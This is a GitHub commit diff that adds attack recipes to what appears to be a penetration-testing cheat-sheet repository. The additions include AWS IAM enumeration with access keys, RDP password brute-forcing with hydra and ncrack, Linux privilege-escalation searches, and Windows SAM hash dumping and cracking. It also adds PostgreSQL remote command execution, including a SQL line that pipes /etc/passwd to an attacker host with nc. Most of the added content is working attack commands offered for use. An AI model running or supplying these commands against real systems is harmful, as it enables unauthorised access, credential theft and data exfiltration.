Skip to content

Commit 13ba72f

Browse files
committed
GraphQL + RDP Bruteforce + PostgreSQL RCE
1 parent 46780de commit 13ba72f

File tree

8 files changed

+73
-6
lines changed

8 files changed

+73
-6
lines changed

AWS Amazon Bucket S3/README.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -184,6 +184,32 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
184184
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
185185

186186

187+
## Enumerate IAM permissions
188+
189+
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
190+
191+
```powershell
192+
git clone [email protected]:andresriancho/enumerate-iam.git
193+
cd enumerate-iam/
194+
pip install -r requirements.txt
195+
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
196+
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
197+
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
198+
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
199+
"RoleDetailList": [
200+
{
201+
"Tags": [],
202+
"AssumeRolePolicyDocument": {
203+
"Version": "2008-10-17",
204+
"Statement": [
205+
{
206+
...
207+
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
208+
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
209+
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
210+
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
211+
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
212+
```
187213

188214
## References
189215

GraphQL Injection/README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# GraphQL injection
22

3-
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
3+
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
44
55

66
## Summary
@@ -30,6 +30,7 @@ Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoin
3030

3131
```js
3232
example.com/graphql?query={__schema{types{name}}}
33+
example.com/graphiql?query={__schema{types{name}}}
3334
```
3435
3536
Check if errors are visible.

Methodology and Resources/Active Directory Attack.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -657,6 +657,13 @@ Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP servi
657657
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
658658
```
659659
660+
Using [hydra]() and [ncrack]() to target RDP services.
661+
662+
```powershell
663+
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
664+
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
665+
```
666+
660667
Most of the time the best passwords to spray are :
661668
662669
- Password1

Methodology and Resources/Linux - Privilege Escalation.md

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -228,6 +228,7 @@ SUID/Setuid stands for "set user ID upon execution", it is enabled by default in
228228

229229
```bash
230230
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
231+
find / -uid 0 -perm -4000 -type f 2>/dev/null
231232
```
232233

233234
### Create a SUID binary
@@ -388,13 +389,17 @@ Tool: [wildpwn](https://github.com/localh0t/wildpwn)
388389

389390
## Writable files
390391

392+
List world writable files on the system.
393+
391394
```powershell
392395
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
396+
find / -perm -2 -type f 2>/dev/null
397+
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
393398
```
394399

395400
### Writable /etc/passwd
396401

397-
First generate a password with one of the following commands
402+
First generate a password with one of the following commands.
398403

399404
```powershell
400405
openssl passwd -1 -salt hacker hacker

Methodology and Resources/Network Pivoting Techniques.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@ ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
6363

6464
```bash
6565
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
66+
ssh -R 3389:10.1.1.224:3389 [email protected]
6667
```
6768

6869
## Proxychains

Methodology and Resources/Windows - Privilege Escalation.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -206,7 +206,10 @@ Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
206206

207207
### SAM and SYSTEM files
208208

209+
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
210+
209211
```powershell
212+
# Usually %SYSTEMROOT% = C:\Windows
210213
%SYSTEMROOT%\repair\SAM
211214
%SYSTEMROOT%\System32\config\RegBack\SAM
212215
%SYSTEMROOT%\System32\config\SAM
@@ -215,6 +218,15 @@ Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
215218
%SYSTEMROOT%\System32\config\RegBack\system
216219
```
217220

221+
Generate a hash file for John using `pwdump` or `samdump2`.
222+
223+
```powershell
224+
pwdump SYSTEM SAM > /root/sam.txt
225+
samdump2 SYSTEM SAM -o sam.txt
226+
```
227+
228+
Then crack it with `john -format=NT /root/sam.txt`.
229+
218230
### Search for file contents
219231

220232
```powershell

SQL Injection/PostgreSQL Injection.md

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,8 @@
99
* [PostgreSQL File Read](#postgresql-file-read)
1010
* [PostgreSQL File Write](#postgresql-file-write)
1111
* [PostgreSQL Command execution](#postgresql-command-execution)
12+
* [CVE-2019–9193](#cve-2019–9193)
13+
* [Using libc.so.6](#using-libc-so-6)
1214
* [References](#references)
1315

1416
## PostgreSQL Comments
@@ -67,7 +69,9 @@ COPY pentestlab(t) TO '/tmp/pentestlab';
6769

6870
## PostgreSQL Command execution
6971

70-
CVE-2019–9193, can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
72+
### CVE-2019–9193
73+
74+
Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
7175

7276
```SQL
7377
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
@@ -79,8 +83,16 @@ DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
7983

8084
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
8185

86+
### Using libc.so.6
87+
88+
```sql
89+
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
90+
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
91+
```
92+
8293
## References
8394

8495
* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
8596
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
86-
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
97+
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
98+
* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9x-remote-command-execution)

Web Sockets/README.md

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,17 @@
22

33
> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
44
5-
Tools:
65

7-
- [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
86

97
## Summary
108

9+
* [Tools](#tools)
1110
* [Using ws-harness.py](#using-ws-harness-py)
1211

12+
## Tools
13+
14+
* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
15+
1316
## Using ws-harness.py
1417

1518
Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

0 commit comments

Comments
 (0)